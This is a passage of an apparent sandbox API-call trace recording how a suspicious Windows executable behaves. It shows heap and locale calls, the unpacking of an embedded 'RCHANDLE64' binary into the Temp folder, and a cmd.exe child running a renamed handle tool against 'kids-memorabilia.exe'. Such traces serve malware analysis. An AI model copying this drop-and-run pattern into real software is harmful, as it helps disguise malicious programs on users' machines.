(HeapHandle=0x500000, Flags=0x8, Size=0x90) returned 0x5182c0 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x518358 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x518388 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x5183c0 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x48) returned 0x518400 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x52) returned 0x518450 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3c) returned 0x514e80 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x5184b0 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x82) returned 0x5184d0 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2e) returned 0x518560 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1e) returned 0x516ae0 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2c) returned 0x518598 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x5185d0 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x52) returned 0x518630 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2a) returned 0x518690 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3c) returned 0x514ec8 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x5186c8 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x518728 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x518758 [0093.395] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x8c) returned 0x518790 [0093.395] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x518850 | out: hHeap=0x500000) returned 1 [0093.396] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x518828 [0093.396] GetLastError () returned 0x0 [0093.396] SetLastError (dwErrCode=0x0) [0093.396] GetLastError () returned 0x0 [0093.396] SetLastError (dwErrCode=0x0) [0093.396] GetLastError () returned 0x0 [0093.396] SetLastError (dwErrCode=0x0) [0093.396] GetACP () returned 0x4e4 [0093.396] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x220) returned 0x519030 [0093.396] GetLastError () returned 0x0 [0093.396] SetLastError (dwErrCode=0x0) [0093.396] IsValidCodePage (CodePage=0x4e4) returned 1 [0093.396] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0093.396] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0093.396] GetLastError () returned 0x0 [0093.396] SetLastError (dwErrCode=0x0) [0093.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.396] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0093.396] GetLastError () returned 0x0 [0093.396] SetLastError (dwErrCode=0x0) [0093.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.396] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.396] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.397] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0093.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x934G äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0093.397] GetLastError () returned 0x0 [0093.397] SetLastError (dwErrCode=0x0) [0093.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0093.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0093.397] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0093.397] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0093.397] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x934G äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0093.397] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x80) returned 0x519258 [0093.397] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0093.397] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0093.397] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x519258) returned 0x80 [0093.397] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0093.398] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0093.398] GetCurrentProcess () returned 0xffffffff [0093.398] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0093.398] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0093.398] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0093.398] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0093.398] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0093.398] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0093.398] LockResource (hResData=0x43c648) returned 0x43c648 [0093.398] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x519728 [0093.398] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.399] GetLastError () returned 0x20 [0093.399] GetLastError () returned 0x20 [0093.399] SetLastError (dwErrCode=0x20) [0093.399] GetLastError () returned 0x20 [0093.399] SetLastError (dwErrCode=0x20) [0093.399] GetLastError () returned 0x20 [0093.399] SetLastError (dwErrCode=0x20) [0093.399] GetLastError () returned 0x20 [0093.399] SetLastError (dwErrCode=0x20) [0093.399] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1000) returned 0x519748 [0093.399] GetLastError () returned 0x20 [0093.400] SetLastError (dwErrCode=0x20) [0093.400] GetLastError () returned 0x20 [0093.400] SetLastError (dwErrCode=0x20) [0093.400] GetLastError () returned 0x20 [0093.400] SetLastError (dwErrCode=0x20) [0093.400] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0093.400] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0093.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x518828 | out: hHeap=0x500000) returned 1 [0093.402] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0093.402] ExitProcess (uExitCode=0x1) [0093.402] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5170c0 | out: hHeap=0x500000) returned 1 Process: id = "172" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x9119000" os_pid = "0xd8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "161" os_parent_pid = "0xd14" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"kids-memorabilia.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 734 os_tid = 0xd90 [0094.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36fee4 | out: lpSystemTimeAsFileTime=0x36fee4*(dwLowDateTime=0xdb9c25a0, dwHighDateTime=0x1d5d06a)) [0094.101] GetCurrentProcessId () returned 0xd8c [0094.101] GetCurrentThreadId () returned 0xd90 [0094.101] GetTickCount () returned 0x115f4fa [0094.101] QueryPerformanceCounter (in: lpPerformanceCount=0x36fedc | out: lpPerformanceCount=0x36fedc*=23605283434) returned 1 [0094.101] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0094.101] __set_app_type (_Type=0x1) [0094.101] __p__fmode () returned 0x76be31f4 [0094.101] __p__commode () returned 0x76be31fc [0094.102] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0094.102] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0094.102] GetCurrentThreadId () returned 0xd90 [0094.102] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd90) returned 0x60 [0094.102] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0094.102] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0094.102] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.102] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0094.102] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x36fe74 | out: phkResult=0x36fe74*=0x0) returned 0x2 [0094.103] VirtualQuery (in: lpAddress=0x36feab, lpBuffer=0x36fe44, dwLength=0x1c | out: lpBuffer=0x36fe44*(BaseAddress=0x36f000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0094.103] VirtualQuery (in: lpAddress=0x270000, lpBuffer=0x36fe44, dwLength=0x1c | out: lpBuffer=0x36fe44*(BaseAddress=0x270000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0094.103] VirtualQuery (in: lpAddress=0x271000, lpBuffer=0x36fe44, dwLength=0x1c | out: lpBuffer=0x36fe44*(BaseAddress=0x271000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0094.103] VirtualQuery (in: lpAddress=0x273000, lpBuffer=0x36fe44, dwLength=0x1c | out: lpBuffer=0x36fe44*(BaseAddress=0x273000, AllocationBase=0x270000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0094.103] VirtualQuery (in: lpAddress=0x370000, lpBuffer=0x36fe44, dwLength=0x1c | out: lpBuffer=0x36fe44*(BaseAddress=0x370000, AllocationBase=0x370000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0094.103] GetConsoleOutputCP () returned 0x1b5 [0094.103] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0094.103] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0094.103] _get_osfhandle (_FileHandle=1) returned 0x80 [0094.103] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0094.103] _get_osfhandle (_FileHandle=1) returned 0x80 [0094.103] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0094.103] _get_osfhandle (_FileHandle=0) returned 0x3 [0094.103] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0094.104] GetEnvironmentStringsW () returned 0x7c2218* [0094.104] GetProcessHeap () returned 0x7b0000 [0094.104] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0xb90) returned 0x7c2db0 [0094.104] FreeEnvironmentStringsW (penv=0x7c2218) returned 1 [0094.104] GetProcessHeap () returned 0x7b0000 [0094.104] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, Size=0x4) returned 0x7bec18 [0094.104] GetEnvironmentStringsW () returned 0x7c2218* [0094.104] GetProcessHeap () returned 0x7b0000 [0094.104] RtlAllocateHeap (HeapHandle=0x7b0000, Flags=0x8, 